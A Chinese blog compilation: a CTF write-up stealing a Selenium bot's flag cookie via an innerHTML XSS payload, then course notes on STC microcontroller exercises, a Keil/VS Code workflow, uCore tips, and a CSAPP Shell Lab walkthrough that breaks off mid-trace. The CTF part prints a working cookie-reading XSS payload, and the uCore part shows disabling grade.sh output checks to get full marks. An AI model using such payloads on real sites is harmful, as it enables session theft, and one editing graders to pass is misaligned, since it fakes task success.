首先从下载的代码入手，可以看到bot.py的56行处，将flag放进了Selenium的Cookie。所以我们所要做的，就是在提交服务器运行代码将Cookie盗取出来。我们传入服务器的数据只有一个网址，且只能是做题网站的网址，所以需要用XSS脚本注入做题网站。

再观察提交bot代码可以看到，它在将Cookie设置之后，会打开我们提交的结果网址，然后找到用户名和分数两个字段，并显示在终端上。很令人惊喜啊，完全没有清洗过输入的数据。由于Selenium会将整个网页加载完成再执行下面的内容，而用户名部分会将我们插入的用户名作为HTML直接插入，我们有了在用户名部分执行外部JavaScript的能力。

XSS注入有存储、反射和DOM型这几种。反射型就是在URL的query string后面附上攻击脚本，这个我试了，会报错。反射型插入 <script>，但是对于此处使用 innerHTML 的情况，JavaScript并不会被执行。所以这里使用DOM型XSS（其实或许没必要分这么清楚）。

一般来说有两种途径，使用 <img onerror="script"> 或者 <iframe>。前者的基本原理是设置一个完全不存在的src，访问失败就会执行后面的JavaScript。一开始我的思路是将Cookie作为query string发一个GET请求，然后自己开一个服务器去记录。但这个东西似乎对外网有限制，连不上。突然想到用户名文本仍然会显示出来，那么直接替换文字，让用户名的区域直接显示Cookie不就行了？

构造注入代码如下：

html

`1`	`</p><img src="x"onerror="document.getElementById('cookie').innerText=document.cookie;"><p id="cookie">`

直接将上面的代码输入名字输入框，提交页面就可以看到一个坏掉的图片图标，以及Cookie。正好就是flag。

很幸运的是设置Cookie的时候没有做HTTP-Only，不然JavaScript操作起来就有难度了。

企鹅拼盘

我真的没想到过我能在math部分拿到分…… 虽然方法跟数学基本没什么关系就是了。

进入TUI界面后，点击input可以输入，再点击其他地方可以发送命令。

第一个Level只允许输入四个bit，暴力枚举拿分。后面的不会了。

HNU 电子实训 BSP 模块应用训练笔记

Wed, 24 Aug 2022 00:00:00 +0000

题目与BSP版权属于学校，代码请见 https://git.cyp0633.com/cyp0633/eecs-bsp-test-code-2，遵循GPLv3协议。

1. 串口1收发

计算机上利用串口助手，设置串口参数：“2400，8，N，1”（即：波特率2400bps，8个数据位。无奇偶校验位，一个停止位），顺序发送10字节的HEX数据到STC-B板，STC-B板将接收到的10字节数据再以倒序方式经串口1发送回计算机。

引入串口1使用的头文件 uart1.h，初始化传递波特率2400作为参数。然后设定接收条件，接收缓冲区指向一个空的大小为10的字符数组，匹配字符串指向一个空指针，设置字符串长度为0，字符串长度为0。并设置回调函数，当读取到符合上述条件的串口1数据包时，调用 sendBack 函数。

void sendBack()
{
    char temp;
    int i;
    for(i=0;i<5;i++)
    {
        temp=buffer[i];
        buffer[i]=buffer[9-i];
        buffer[9-i]=temp;
    }
    Uart1Print(buffer,10);
}

大致就是将 buffer 中的字符串首尾调换，然后通过串口1重新发回。

2. 串口2通信

两块STC-B板1和2通过串口2连接（485接口上：A、B、GND，或EXT上：P1.0（RXD）、P1.1（TXD）、GND），设置串口2参数：“1200，8，N，1”。STC板1往STC板2发送5字节数据，STC板2接收数据，计算它们的累加和，并将累加和的低8位通过LED灯显示，验证结果是否正确？（STC-B板1需多换几组数据验证）。

发送端

使用 Uart2Init 函数初始化串口2，设定RS485，波特率1200，设置每1s调用回调函数 sendData。

在 sendData 中，通过一个countdown全局变量设定每10s发送一次buffer中的内容（1、3、5、7、9），并将里面的每个数递增1（溢出时设为0x1）。

接收端

初始化串口2，波特率1200，初始化屏幕，并设置串口2接收缓冲区和回调函数，类似于题1。

在回调函数中使用一个for循环计算累加和，并将其与0xff的计算结果传入 LedPrint 显示在LED上。

3. 红外无线通信

与第2题的操作一致，仅两块STC-B板通信方式选用IR红外无线连接（而不是串口2）。注意：同一房间内，同时开启红外通信可能会互相干扰。

发送端

头文件引入红外，使用 IrInit 初始化红外为NEC格式，每1s设置调用回调函数。

回调函数内容与题2发送端类似，但考虑到红外特性将发送延迟设置为3s。

接收端

使用 IrInit 初始化红外为NEC格式，使用 SetIrRxd 指定缓冲区，然后设置收到数据包的回调函数。

在回调函数中行为类似于题2的接收端。

4. 实时时钟

初始化DS1302实时时钟芯片，并将其 “时分秒” 信息以 “时时—分分—秒秒” 格式显示在数码管上。然后验证 “STC-B学习板” 上的实时时钟在断电后，其时钟靠板上的纽扣电池仍能正常走时。

struct_DS1302_RTC time, temp;
unsigned char display[8];

void changeClock()
{
    temp = RTC_Read();
    display[0] = temp.second & 0x0f;
    display[1] = (temp.second>> 4) & 0x0f;
    display[2] = temp.minute & 0x0f;
    display[3] = (temp.minute>> 4) & 0x0f;
    display[4] = temp.hour & 0x0f;
    display[5] = (temp.hour>> 4) & 0x0f;
    display[6] = temp.day & 0x0f;
    display[7] = (temp.day>> 4) & 0x0f;
    Seg7Print(display[7], display[6], display[5], display[4], display[3], display[2], display[1], display[0]);
}

void main()
{
    time.year = 0x22;
    time.day = 0x22;
    time.month = 0x8;
    time.hour = 0x15;
    time.minute = 0x33;
    time.second = 0x22;
    DS1302Init(time);
    DisplayerInit();
    SetDisplayerArea(0, 7);
    LedPrint(0);
    SetEventCallBack(enumEventSys10mS, changeClock);
    MySTC_Init();
    while (1)
    {
        MySTC_OS();
    }
}

5. 非易失存储

数据可以在掉电情况下保留在非易失存储器（M24C02或DS1302）中的某个单元上。设计一段小程序：上电后，读取出非易失存储内某个单元数据，并将其值显示在LED灯上，再将这个数据 + 1后写回这个单元。分析这样的程序，如果拔插 “STC—B学习板” 电源（或按板上 “RST” 复位按键），会出现什么现象？（说明：DS1302需要靠纽扣电池才能在掉电时保存数据）

初始化NVM后使用 NVM_Read 读取0x05处的值作为初始值，并显示在LED上。如果值为0xf，则重置为0，否则将值自增1后写回0x05。这样的步骤在每次重置后都会进行，就实现了自增的效果。

6. 收音机

初始化启用FM_radio模块。收音机参数设定为91.8MHz，音量6。PHONE接口上插上耳机验证是否正确收到电台？

初始化一个 struct_FMRadio 结构体，设置频率918，音量6，三个GP都为0，然后传递给 FMRadioInit 函数。

7. 音乐播放器

用Music模块提供的API实现播放一段音乐。

使用 SetMusic 指定节拍、音调、乐谱数据、乐谱大小（用 sizeof 得到）以及显示方式，然后使用 SetPlayerMode 开始播放。

代码存放于 https://git.cyp0633.com/cyp0633/eecs-bsp-test-code/src/branch/master/music2。

8. 温度值计算

10位精度采集热敏电阻ADC值，编写程序（查表、或线性插值方法等）换算出正确温度值，并在数码管显示出来。热敏电阻参数10K/3950，（具体见 “案例测试” 中提供的参考资料。可设有效换算温度范围 - 5°C～+85°C）。

从其他示例程序找到了一个8位采样值到温度的的换算表：

int code tempdata[] = {239, 197, 175, 160, 150, 142, 135, 129, 124, 120, 116, 113, 109, 107, 104, 101,
                       99, 97, 95, 93, 91, 90, 88, 86, 85, 84, 82, 81, 80, 78, 77, 76,
                       75, 74, 73, 72, 71, 70, 69, 68, 67, 67, 66, 65, 64, 63, 63, 62,
                       61, 61, 60, 59, 58, 58, 57, 57, 56, 55, 55, 54, 54, 53, 52, 52,
                       51, 51, 50, 50, 49, 49, 48, 48, 47, 47, 46, 46, 45, 45, 44, 44,
                       43, 43, 42, 42, 41, 41, 41, 40, 40, 39, 39, 38, 38, 38, 37, 37,
                       36, 36, 36, 35, 35, 34, 34, 34, 33, 33, 32, 32, 32, 31, 31, 31,
                       30, 30, 29, 29, 29, 28, 28, 28, 27, 27, 27, 26, 26, 26, 25, 25,
                       24, 24, 24, 23, 23, 23, 22, 22, 22, 21, 21, 21, 20, 20, 20, 19,
                       19, 19, 18, 18, 18, 17, 17, 16, 16, 16, 15, 15, 15, 14, 14, 14,
                       13, 13, 13, 12, 12, 12, 11, 11, 11, 10, 10, 9, 9, 9, 8, 8, 8, 7,
                       7, 7, 6, 6, 5, 5, 54, 4, 3, 3, 3, 2, 2, 1, 1, 1, 0, 0, -1, -1, -1,
                       -2, -2, -3, -3, -4, -4, -5, -5, -6, -6, -7, -7, -8, -8, -9, -9,
                       -10, -10, -11, -11, -12, -13, -13, -14, -14, -15, -16, -16, -17,
                       -18, -19, -19, -20, -21, -22, -23, -24, -25, -26, -27, -28, -29,
                       -30, -32, -33, -35, -36, -38, -40, -43, -46, -50, -55, -63, 361};

使用 ADCexpEXT 初始化ADC，并初始化屏幕。每10ms回调calcTemp函数。

在calcTemp中，将10位取样右移2位变为8位，计算100次取样的累加和，并取平均值。将换算表中平均采样值的对应值显示在数码管上。

9. 扩展模板

外设模块中超声波、编码器、电子尺… 选取一个，能在数码管上显示相应物理量数值。

引入扩展模块头文件，使用 EXTInit 初始化超声波模块，初始化屏幕，设置10ms回调 showDist 函数。

使用 GetUltraSonic 获得超声波传感器的读数，将每位分出来显示在数码管上。

10. 直流电机

设计简单程序段，用两组参数（“50% 速度、正转”，和 “30% 速度、反转”）分别设置直流电机，并接上直流电机观察不同参数时电机转动情况。

设一个状态变量，按Key 1后更改其值，并输出另一种PWM信号。正转50% 使用 SetPWM(0, 0, 50, 500);，反转30% 使用 SetPWM(50, 300, 0, 0);。

我的 STC 单片机开发工作流

Wed, 29 Jun 2022 00:00:00 +0000

本文主要用作记录开发过程中使用的不同工具。主要也是课程导向的，所以可能并不会使用实际上更好的方法。设备是STC15F2P60S2。

添加设备库

先安装 Arm Keil uVision 5。由于课程需要，使用Keil的开发工具链，主要是懒得去学SDCC的语法差异，也懒得移植学校给的BSP库。

使用十分复古的STC-ISP来添加设备库。直接点击 “添加型号和头文件……” 即可。

创建项目

需要首先新建项目目录、一个C文件（空不空都行），以及所需的头文件和库文件（.lib），文件都放在项目文件夹中。这里我将C文件和库文件放到 source/ 目录，将头文件放到 inc/ 目录。

在uVision主界面顶部点击Project - New uVision Project来创建一个项目文件。由于Keil松散的文件管理，这个文件并不必须与源代码同目录同名，但为了遵循其他IDE的惯例，最好还是保持相同。

选择设备时可以在下拉栏里找到STC MCU database，然后选择你的STC芯片。

之后询问的STARTUP.A51没必要复制进来。

然后找到左边项目浏览器中的Target，如果没有下属Group就先创建一个，有了之后直接双击它，打开添加文件界面。将你的库文件和C代码添加进来。如果在这里添加头文件，要指定好目录，但如果是某种库的话可以留到后面添加，所以这里只添加了两个文件。

正常情况下C文件包含的头文件是会自动显示在C源代码下属的，就像上图这样。但是刚添加进文件的时候是没有的。

之后找到顶部Project菜单，选择Options for Target xxx，点击C51，找到Include Paths，在这里添加额外的包含目录。我的库文件在项目文件夹 inc/ 目录，故添加完成如图。

编写与构建项目

Keil本身是一个完善的IDE，那么对于写代码，我们自然是…… 用VS Code！

只是为了自动识别Keil的项目，需要再装一个插件。该插件的信息如下。

text

名称: Keil AssistantID: cl.keil-assistant 说明: An assistant for Keil uVision 版本: 1.7.0 发布者: CLVS Marketplace 链接: https://marketplace.visualstudio.com/items?itemName=CL.keil-assistant

在插件设置中指定Keil工具链UV4.exe的路径，就可以用VS Code打开工作区的同时自动识别Keil项目了。

VS Code自带的C language server能够完美地契合我们的需求，体验比Keil高到不知哪里去了。将鼠标移至特定Target上，甚至可以直接构建项目。

如果没有hex文件输出，可以修改uvproj文件中的一行，在tag之间加一个1，如下。或者在前面Target Options页面里找到Output，选上Create HEX file。

xml

`1`	`<CreateHexFile>1</CreateHexFile>`

区分多种编译选项

有时由于方便调试的原因，我们需要添加调试输出，如RS485难以调试，则在开发时也输出到USB串口；同时我们也不希望最终使用时带有这种调试信息，那么在C语言中常用 #define 语句来区分：

    Uart2Print(buf2, 8);
#ifdef DEBUG
    Uart1Print(buf2, 8);
#endif

可以使用多build target的方式，对每个target设定不同的define选项。从刚刚找到的Options for Target右边，点击File Extensions, … 按钮，然后新建一个target，并选择其为当前target。然后打开之前P3提到过的C51选项，在define里设置想提前声明的内容即可。

刷写项目

这里仍然不使用STC-ISP，而使用开源的stcgal。

grigorig/stcgal

命令很简单，一般来说只需要一把梭：

bash

`1`	`stcgal some-program.hex -p COMx`

由于程序似乎是为Linux设计的，在Windows下必须指定COM号。一般这个号和特定USB接口有对应关系，用STC-ISP看一下就行了。

这样我们可以将工作流与vscode深度融合，直接在其终端中操作，编辑、构建、刷写一体化，此时基本不需要Keil。

参考文献

一些让 uCore 更轻松的小技巧

Sat, 04 Jun 2022 00:00:00 +0000

uCore实验本身设计得还不错，但却很容易在 “没用的事情” 上浪费大把的时间。有一些小技巧，虽然不能帮你理解uCore，但能够极大地提升实验体验。

使用版本控制

显然版本控制一定要放在最前面。鉴于主要用的是Git，这里就说一些需要会的Git知识或者操作。

首先uCore的源代码就在GitHub上，好巧不巧main分支是rCore，要做uCore得切换到master分支。

GitHub

chyyuu/os_kernel_lab

Commit / 提交：相当于一个快照，可以随时恢复到你commit的时间节点。每个练习commit一下，就能保留状态了。如果遇到问题，可以随时revert或者checkout，可以免于找。
Branch / 分支：不同的分支可以用于维持不同的开发进度。有些时候不确定代码是否合对了，或者Challenge的代码不想合入主分支，就新建一个分支。
Merge / 合并和分支的概念是成对出现的，就是让不同分支的进度同步起来。

VS Code

放弃Vim、Eclipse和Nano吧，VS Code对uCore来说再适合不过了。

使用VS Code+GDB调试uCore

VS Code自带的调试工具能在GDB等调试器的基础上加入可视化断点、自动变量查看等有用功能。

首先，需要在Makefile中加入如下的编译目标：

makefile

1
2

debug-nogdb: $(UCOREIMG)
    $(V)$(QEMU) -S -s -parallel stdio $(QEMUOPTS) -serial null

做到后面有SWAP机制的练习时，记得在上面 $(UCOREIMG) 后面再加上 $(SWAPIMG)。

然后请参考结尾处第一个参考文献，在此不再赘述。

合并 / 比较工具

Kdiff3等工具和VS Code自带比较并不能比较文件夹内的不同内容。但是，你可以下载这个插件，来选择两个目录导入。只需找到两个Lab之间的不同，就可以轻松合并你在前面实验中写下的代码。

作弊的Trick

从Lab 5开始，很多人应该都经历过明明代码都对，make grade 却不满分的问题。改评分脚本，算作弊吗？或许也不算吧，毕竟首先是它自己的代码不对。

将输出检查禁用，从而达到全都满分的方法，就是将grade.sh中221-239行注释掉，也就是下面的部分。

            if [$reg -ne 0]; then
                $grep '-E' "^$i\$" $qemu_out > /dev/null
            else
                $grep '-F' "$i" $qemu_out > /dev/null
            fi
            found=$(($? == 0))
            if [$found -eq $not]; then
                if [$found -eq 0]; then
                    msg="!! error: missing'$i'"
                else
                    msg="!! error: got unexpected line'$i'"
                fi
                okay=no
                if [-z"$error"]; then
                    error="$msg"
                else
                    error="$error\n$msg"
                fi
            fi

如果只想禁用某个检查，可以注释掉如下面的部分，如：

run_test -prog 'divzero' -check default_check                   
    #   - 'kernel_execve: pid = ., name ="divzero".*'             \
    #   - 'trapframe at 0xc.......'                               \
    #     'trap 0x00000000 Divide error'                          \
    #   - 'eip  0x008.....'                                     \
    #   - 'esp  0xaff.....'                                     \
    #     'cs   0x----001b'                                     \
    #     'ss   0x----0023'                                     \
    # ! - 'user panic at .*'

参考资料

https://blog.xhyeax.com/2020/10/15/vscode-debug-ucore/

CSAPP 2e Shell Lab 笔记

Wed, 25 May 2022 00:00:00 +0000

通过完成一个简单的Shell程序（称为tsh），来熟悉程序控制与信号的内容。

本笔记根据第二版材料写出，可能与第三版有一定差别。由于测试用例本身就是由浅入深的，所以本笔记也按照这个方式组织。

前置知识

建议提前阅读官方Writeup（在这里下载），并学习课本 “异常控制流” 部分。

Writeup的Hints部分包含了很多有用的提示，太多了就不一块翻译了。

在原作者所属的顶级大学CMU，这个实验是分配给两个人做7天的，可以作为参考，决定自己的工作量。

关于Shell

Shell是一个交互式命令行解释器，就是执行你命令的程序。如果已经用得比较熟了，就没必要看这个部分了。

命令是一串空格分隔的字符，第一个单词是程序名或内置命令名。如果是程序名，Shell会fork出一个进程执行它；如果是内置命令，就在当前进程中运行。

比如下面的命令：

bash

1
2

gcc     a.c    -o       a     -O2
程序名 | 参数 1 | 参数 2 | 参数 3 | 参数 4

如果一个命令以 & 结尾，则任务应在后台运行。只有一个程序可以在前台运行，而后台程序的数量没有多少限制。

Unix Shell支持任务控制，即使用Ctrl+C可以发送SIGINT信号停止任务，使用Ctrl+Z可以发送SIGTSTP暂停进程（也可能有其他行为）。此外，还应该支持 jobs 显示任务列表、bg <job> 让程序后台运行、fg <job> 让程序前台运行，以及 kill <job> 来杀掉进程。

特别地，在本Lab中，需要做到的有以下几点：

命令行prompt以 “tsh>” 开头。
不需要支持IO重定向（<>）和管道（|），这点大家在Buffer Lab里应该很熟悉。
Ctrl+C和Ctrl+Z需要向前台程序 和其后代进程 对应的信号。
如果命令以 & 结尾，将其放到后台运行。
为每个进程或工作分配一个PID或JID，JID应以 % 开头。这一部分已被实现
实现 quit、jobs、bg 和 fg 内置命令。
实现终止所有后代僵尸进程。

关于测试

每进行一次修改，都要运行 make 命令 以重新编译，然后运行 ./tsh 来执行。

本实验提供一个参考程序 tshref，做出来的 tsh 与其输出相同，便代表你是正确的。如果要测试正确性，可以在 tsh 和 tshref 中手动输入命令对比，使用sdriver.pl来自动判断，或者结合使用。目录中还有16个测试文件，可以使用如下的命令来对比测试。其中的 - p参数表示不输出命令行tsh > 开头。

bash

unix> ./sdriver.pl -t trace01.txt -s ./tsh -a "-p"
unix> ./sdriver.pl -t trace01.txt -s ./tshref -a "-p"
# 上面两个与下面两个命令等效
unix> make test01
unix> make rtest01

但也不是所有情况都需要让两个输出相同。比如运行的PID很可能甚至一定不相同。另外，trace11-13的 ps 输出可能次次不同，但重点是使进程状态相同。

此外，lab文件还带有几个测试程序，用法和作用分别如下：

mystop <n> - 睡眠n秒，然后向自己发送 SIGTSTP。
mysplit <n> - fork 一个子进程，自旋n秒。
myspin <n> - 睡眠n秒。
myint <n> - 睡眠n秒，然后向自己发送 SIGINT。

如果你想要一次对比所有测试的输出，可以使用以下的方法（参考资料4）：

在Shell Lab目录中放置这个文件和这个文件；
运行下面的命令：

bash

1
2

./judge.sh > test.log
./rjudge.sh > rtest.log

将rtest.log中的tshref全部替换为tsh，使用你喜欢的编辑器（如vscode）的正则表达式替换，将两文件的 $\d*$ 替换为10000；
使用你喜欢的对比工具（仍然可用vscode）对比test.log和rtest.log，不同应该只有 ps 命令输出的PID。

更多的用法请自行参见Writeup的Checking Your Work一节。

Tricks

个人建议使用Git进行版本控制，并进行相对密集的Commit，以分清各阶段所做的工作，并方便地回退代码。

如果你测试过程中发现无法退出tsh，可以打开另一个终端窗口，执行 killall tsh。

错误处理也可以先不做，在trace14处对照填写。

trace01

trace01.txt - 在EOF处正确地停止。

eval 函数是根据输入命令行进行对应操作的函数。在CSAPP 2e 8.4.6节（中文版P502 / 英文版P733），有 eval 函数的大致框架，先填上再说。语句作用我都填到注释里了：

void eval(char *cmdline)
{
    char *argv[MAXARGS];
    char buf[MAXLINE]; // command will be parsed and modified?
    int bg;            // whether it runs in background
    pid_t pid;
    // preprocess cmd line
    strcpy(buf, cmdline);
    bg = parseline(buf, argv); // convert the command into argv
    if (argv[0] == NULL)       // the line is empty, return
    {
        return;
    }
    // run external command
    if (!builtin_cmd(argv))
    {
        if ((pid = fork()) == 0) // this is child
        {
            if (execve(argv[0], argv, environ) <0) // execute command failed
            {
                printf("%s: Command not found\n", argv[0]);
                exit(0); // here only child exited
            }
        }
        if (!bg) // run the process in foreground:
        // wait for foreground job to terminate
        {
            int status;
            if (waitpid(pid, &status, 0) <0) // if return -1, then waiting failed
            {
                unix_error("waitfg: waitpid error");
            }
        }
        else
        {
            printf("%d %s", pid, cmdline);
        }
    }
    return;
}

这个框架做的事情如下：

使用 parseline 预处理命令行，将一整个字符串按空格分割为字符串数组；
使用 builtin_command 检测并处理内置命令，如果为内置命令，归 builtin_command 函数处理；
fork 出一个新进程；
在新进程中，execve 运行对应的程序，如果运行失败，提示错误信息，将子进程退出；
如果运行的程序是前台进程，那么就要等待前台进程结束，再继续运行shell；
否则，如果是后台进程，直接打印命令信息。

trace01只需要正确响应EOF就可以了。在课本的程序框架中，已经使用 parseline 函数将命令行解析为了参数，并判断了第一个参数是否为NULL。显然，第一个参数是NULL，后面当然更是NULL，意味着没有输入。也就是说，我们什么额外的工作都不用干……

详细的Git Commit更改见此处。通过如图：

trace02

trace02.txt - 处理内置的 quit 命令。

在tsh中，内置的命令实在 builtin_cmd 函数中处理的。只需要在其中判断一下第一个参数是否为 quit，如果是的话退出即可。

在 builtin_cmd 中插入以下代码：

    if (strcmp(argv[0], "quit") == 0) // process quit command
    {
        exit(0);
    }

详细的Git Commit更改见此处。通过如图：

trace03/04

trace03.txt - 运行一个前台任务。

trace04.txt - 运行一个后台任务。

在课本的 eval 框架中，首先使用 builtin_cmd 判断并处理内置函数，然后根据 bg 值（由 parseline 得到）判断是否在后台运行。这其中会先 fork 出一个子进程，然后使用 execve 执行目标程序。请注意，只有子进程会在运行失败时 exit。根据是否是前台任务，判断是直接打印执行详情还是等待前台进程结束。

    if (!builtin_cmd(argv)) // built-in command is done in `builtin_cmd`
    {
        if ((pid = fork()) == 0) // this is child
        {
            if (execve(argv[0], argv, environ) <0) // execute command failed
            {
                printf("%s: Command not found\n", argv[0]);
                exit(0); // here only child exited
            }
        }
        if (!bg) // run the process in foreground:
        // wait for foreground job to terminate
        {
            int status;
            if (waitpid(pid, &status, 0) <0) // if return -1, then waiting failed
            {
                unix_error("waitfg: waitpid error");
            }
        }
        else
        {
            printf("%d %s", pid, cmdline);
        }
    }

说了这么多又是什么意思？这道题又什么都不用做。

此题没有Commit，输出有一个格式问题，在trace05的commit内一起解决。通过如图。这里的job编号不同是正常现象，这个问题将在trace05中解决。

trace05

trace05.txt - 处理 jobs 内置命令。

先拿软柿子下手，将处理 jobs 命令的地方做好。tsh已经为我们实现了 listjobs 函数，可以直接放到 builtin_cmd 中。注意 return 1 用来告诉 eval 已经找到了一个内置命令，否则会提示 “command not found”。

    if (strcmp(argv[0], "jobs") == 0) // t5: process jobs command
    {
        listjobs(jobs);
        return 1; // this IS a builtin command, return 1 to notify
    }

但是不管怎么样，运行 jobs 都不会输出任何东西。毕竟在我们已有的代码里，既没有在任务开始时将其添加到任务列表，也没有在结束时将它移出。要做到将任务添加到任务列表，需要在 fork 后调用 addjob：

                printf("%s: Command not found\n", argv[0]);
                exit(0); // here only child exited
            }
        }
        addjob(jobs, pid, bg ? BG : FG, cmdline); // add the job to job list.
        // When bg=1, state=2; bg=0, state=1. this way it's just elegant
        if (!bg)                               // run the process in foreground:

上述代码的 addjob 中第三个参数 state 有三个取值，FG=1、BG=2、ST=3。虽然直接使用 bg+1 也是可行的方案，但这样使用三元运算符会更优雅更容易理解。

至于删除任务的工作，需要在 sigchld_handler 函数中处理。这涉及到对 waitpid 函数的更深入理解，在CSAPP 8.4.3节（中文版P496，英文版P724），提到了这样一段话，介绍了 waitpid 函数的默认行为，以及退出状态的检查方法（中翻太烂了，这是我自己翻的）：

（更改默认行为）WNOHANG|WUNTRACED：立即返回。如果等待集里面没有子进程已经终止，那么返回0；否则，返回其中一个已终止子进程的PID。

（检查回收子进程的返回状态）WIFEXITED(status)：如果子进程正常退出，即通过调用 exit 或者 return，则返回真。

Writeup中也提到 WNOHANG|WUNTRACED 或许会有用。如果没有 WNOHANG 参数，shell会一直等待，直到有一个子进程退出。而如果没有 WUNTRACED 参数，那么程序无法捕捉到STOP的子进程情况，这样会卡在trace16。

上述的前一个更改默认行为的部分对应了 waitpid 的第三个参数，后一个函数检查用于确定是否有个子进程真的退出了（而非没有子进程终止，waitpid 返回了0）。有了这些知识，可以得到实现如下，如此便可以将退出的进程从任务列表删除：

void sigchld_handler(int sig) 
{
    pid_t pid;
    int status;
    while((pid=waitpid(-1,&status,WNOHANG|WUNTRACED))>0) // check if a child has become zombie, without wait
    {
        if(WIFEXITED(status))
        {
            deletejob(jobs,pid); // remove pid from job list
        }
    }
    return;
}

这并没有结束，我们需要干其他的亿些工作。我们知道如果shell要继续运行，需要等待前台任务（如果有）结束，比如在前面的通过截图中，只有 make test04 结束后，shell才会再打印出 “cyp0633@cyp0633-R7000-Linux> ~/ 桌面…” 字样，在本实验中就是“tsh>”。但tsh有一个 waitfg 函数，看起来他们不想让我们把等待工作放到 eval 中。于是这一部分改成：

        if (!bg) // run the process in foreground:
        // wait for foreground job to terminate
        {
            waitfg(pid); // the waiting stuff should be done in `waitfg`
        }

至于 waitpid 函数的实现，Writeup中已经给了提示：

实验有一个棘手的部分，是决定 waitfg 和 sigchld 处理函数之间的工作分配。我们推荐以下方法：

- 在 waitfg 中，用一个死循环包裹 sleep 函数。

- 在 sigchld_handler 中，调用且仅调用一次 waitpid。

所谓的工作分配，指的是 waitfg 和 sigchld_handler 都有等待进程结束的功能。waitfg 的作用前面已经说明，而 sigchld_handler 负责接收任何子进程结束的信号，并将其回收，注意它是一个handler。waitfg 的实现如下：

void waitfg(pid_t pid)
{
    while (pid == fgpid(jobs))
    {
        sleep(0);
    }
    return;
}

也可以在这里调用 waitpid 等待前台进程退出，但它可能会抢走 sigchld_handler 的信号，而不会执行 deletejob。结果就是在trace05中会打印一堆tsh。那当然可以在这里也加一个 deletejob，但Writeup中指出这种工作分配是不明确的。所以最好的办法就是在有前台进程的时候一直等待。

另外还要处理 eval 中的信号问题。Writeup中提到：

在 eval 中，父进程在 fork 子进程之前，必须使用 sigprocmask 函数来阻断 SIGCHLD 信号，然后在使用 addjob 将子进程加入任务列表之后，再调用 sigprocmask 恢复 SIGCHLD 信号。因为子进程继承了父进程的中断向量，所以子进程必须在它执行新程序之前将 SIGCHILD 恢复。

父进程这样将 SIGCHLD 信号阻断，是为了避免子进程被 SIGCHLD 处理程序回收（然后被从任务列表中移除），_之后_父进程调用 addjob 时的竞态条件。

于是，我们在 eval 函数最前面声明变量的区域加入几行：

1
2

    sigset_t mask;
    sigemptyset(&mask);

然后在判断不是内置命令之后，阻断 SIGCHLD 信号，修改如下：

    if (!builtin_cmd(argv)) // built-in command is done in `builtin_cmd`
    {
        sigaddset(&mask, SIGCHLD);
        sigprocmask(SIG_BLOCK, &mask, NULL); // 5. block SIGCHLD
        if ((pid = fork()) == 0)             // this is child

然后，在子进程 execve 之前，恢复信号，修改如下：

        if ((pid = fork()) == 0)             // this is child
        {
            sigprocmask(SIG_UNBLOCK, &mask, NULL);  // 5. unblock SIGCHLD
            if (execve(argv[0], argv, environ) <0) // execute command failed

再然后，父进程 addjob 完毕后也要恢复：

        addjob(jobs, pid, bg ? BG : FG, cmdline); // add the job to job list.
        // When bg=1, state=2; bg=0, state=1. this way it's just elegant
        sigprocmask(SIG_UNBLOCK, &mask, NULL); // 5. unblock SIGCHLD
        if (!bg)                               // run the process in foreground:

这样就可以通过trace05的测试了，Git Commit见此处，通过截图如下。

trace06

trace06.txt - 将 SIGINT 信号发送到前台任务。

这个trace解决起来比较简单。最核心的，我们需要实现 SIGINT 信号的处理例程。这里使用 -pid 是为了将整个进程组的进程全部干掉。

void sigint_handler(int sig)
{
    pid_t pid = fgpid(jobs);    // get pid of foreground job
    if (kill(-pid, SIGINT) <0) // try to send SIGINT
    {
        unix_error("sigint error"); // failed
    }
    return;
}

在 tshref 中，终止进程后还会输出一行提示信息，由于这也算是子进程结束了，这部分也是在 sigchld_handler 中处理的。将函数修改为如下的样子即可。

void sigchld_handler(int sig) 
{
    pid_t pid;
    int status;
    while((pid=waitpid(-1,&status,WNOHANG|WUNTRACED))>0) // check if a child has become zombie, without wait
    {
        if(WIFEXITED(status))
        {
            deletejob(jobs,pid); // remove pid from job list
        }
        if (WIFSIGNALED(status))
        {
            printf("Job [%d] (%d) terminated by signal %d\n", pid2jid(pid), pid, WTERMSIG(status));
            deletejob(jobs, pid);
        }

    }
    if (pid < 0 && errno != ECHILD)
    {
        unix_error("waitpid error");
    }
    return;
}

还有一个坑，在Writeup中已经提到。

当你在标准Unix shell中运行你的shell时，你的shell处于前台进程组。如果你的shell创建一个子进程，那么它默认也会被加到前台进程组内。因为输入Ctrl+C会向前台进程组的所有进程发送 SIGINT 信号，所以你输入Ctrl+C也会向你的shell和你创建的子进程发送 SIGINT，这显然不对。

这里有个解决办法：在 fork 之后，execve 之前，子进程应该调用 setpgid(0, 0)，来将子进程放置到一个新的进程组内，组ID与子进程PID相同。这确保了只会有一个进程——即你的shell——处于前台进程组内。当你按下Ctrl+C，shell应该捕获 SIGINT 信号，然后将其传递到正确的前台应用（或更准确地，包含前台进程的进程组）。

长话短说，就是使用Ctrl+C结束tsh中运行的前台进程，会把shell一起干掉。解决办法就是在 execve 之前设置进程组。两个0分别代表要加入的是当前进程，以及新建一个GID=PID的组。

1
2
3

            sigprocmask(SIG_UNBLOCK, &mask, NULL);  // 5. unblock SIGCHLD
            setpgid(0, 0);                          // put the child process (0=current) into a new process group (0=current)
            if (execve(argv[0], argv, environ) <0) // execute command failed

Git Commit见此处，通过截图见下。

trace07

trace07.txt - 将 SIGINT 信号只发送到前台任务。

其实单论测试的话，上个trace的程序现在也可以直接用，能过。但测试用例没有测试没有前台任务的情况，为了让程序更完善，还是要做一处修改。

在 sigint_handler 中。需要判断是否存在前台任务，如果没有，就不需要做任何事。这样，在什么都没运行的时候按下Ctrl+C，tsh就不会直接挂掉，什么都输不进去。在没有前台任务的情况下，fgpid 会返回0，我们可以利用这个特性。

void sigint_handler(int sig)
{
    pid_t pid = fgpid(jobs);    // get pid of foreground job
    if (pid != 0) // if no foreground job (PID=0), do nothing (ONLY send to foreground)
    {
        if (kill(-pid, SIGINT) <0) // try to send SIGINT
        {
            unix_error("sigint error"); // failed
        }
    }
    return;
}

Git Commit见此处，通过截图见下。

trace08

trace08.txt - 将 SIGTSTP 信号只发送给前台任务。

SIGTSTP 对应的是Ctrl+Z。实现方法很像上两个trace的方法，只需改 sigtstp_handler 和 sigchld_handler 就行了。

首先是 sigtstp_handler：

void sigtstp_handler(int sig) 
{
    pid_t pid = fgpid(jobs);
    if (pid != 0)
    {
        if (kill(-pid, SIGTSTP) <0)
        {
            unix_error("sigtstp error");
        }
    }
    return;
}

然后是 sigchld_handler。注意这里额外地要将工作的状态改为停止（对应上文 addjob 说明处的三种状态类型）：

        if (WIFSIGNALED(status)) // SIGINT, etc.
        {
